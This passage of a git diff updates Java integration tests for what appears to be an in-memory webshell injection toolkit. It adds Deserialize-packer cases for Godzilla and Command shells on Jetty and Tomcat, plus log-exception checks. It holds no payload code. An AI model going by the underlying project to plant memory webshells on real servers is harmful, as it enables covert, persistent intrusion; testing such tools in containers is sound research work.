@since 2024/12/7 */ +@Slf4j @Testcontainers public class Jetty10ContainerTest { public static final String imageName = "jetty:10-jre11-slim"; @@ -31,9 +36,13 @@ public class Jetty10ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -49,4 +58,10 @@ public class Jetty10ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index a61b1685..09c8659c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -15,14 +17,20 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason * @since 2024/12/7 */ +@Slf4j @Testcontainers public class Jetty11ContainerTest { public static final String imageName = "jetty:11-jre11-slim"; @@ -30,9 +38,13 @@ public class Jetty11ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -48,4 +60,11 @@ public class Jetty11ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); } + + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index d2dbd322..28b66e9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -18,7 +19,11 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,8 +39,11 @@ public class Jetty61ContainerTest { return Stream.of( // arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -52,8 +60,9 @@ public class Jetty61ContainerTest { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } -// @AfterAll -// static void tearDown() { -// log.info(container.getLogs()); -// } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index b2915e1a..b2ecb4c4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -17,13 +19,18 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason * @since 2024/12/7 */ +@Slf4j @Testcontainers public class Jetty76ContainerTest { public static final String imageName = "reajason/jetty:7.6-jdk6"; @@ -32,8 +39,11 @@ public class Jetty76ContainerTest { return Stream.of( // arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -49,4 +59,10 @@ public class Jetty76ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 38dae526..de8b6852 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -17,13 +19,18 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason * @since 2024/12/7 */ +@Slf4j @Testcontainers public class Jetty81ContainerTest { public static final String imageName = "reajason/jetty:8.1-jdk7"; @@ -31,9 +38,13 @@ public class Jetty81ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -49,4 +60,10 @@ public class Jetty81ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 68a2f79e..59655e27 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -17,13 +19,18 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason * @since 2024/12/7 */ +@Slf4j @Testcontainers public class Jetty92ContainerTest { @@ -32,9 +39,13 @@ public class Jetty92ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -50,4 +61,10 @@ public class Jetty92ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 5f86d8da..d633996c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -17,13 +19,18 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason * @since 2024/12/7 */ +@Slf4j @Testcontainers public class Jetty93ContainerTest { public static final String imageName = "jetty:9.3-jre8-alpine"; @@ -31,9 +38,13 @@ public class Jetty93ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -49,4 +60,10 @@ public class Jetty93ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index dd09dffd..3f8f4eb4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -18,7 +19,11 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,12 +39,16 @@ public class Jetty94ContainerTest { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -55,4 +64,10 @@ public class Jetty94ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 84e15742..96926de7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -19,7 +20,11 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,11 +39,17 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -53,4 +64,10 @@ public class Tomcat10ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V11, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index ec6db8d3..6150c08a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -19,7 +20,9 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -54,4 +57,11 @@ public class Tomcat11ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index a220208b..3f63fe29 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -19,7 +20,9 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -35,10 +38,15 @@ public class Tomcat5ContainerTest { return Stream.of( // arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -55,8 +63,9 @@ public class Tomcat5ContainerTest { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); } -// @AfterAll -// static void tearDown() { -// log.info(container.getLogs()); -// } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 48e2ffeb..41c58d9f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -19,7 +20,11 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -35,10 +40,15 @@ public class Tomcat6ContainerTest { return Stream.of( // arguments(imageName, Constants.FILTER, 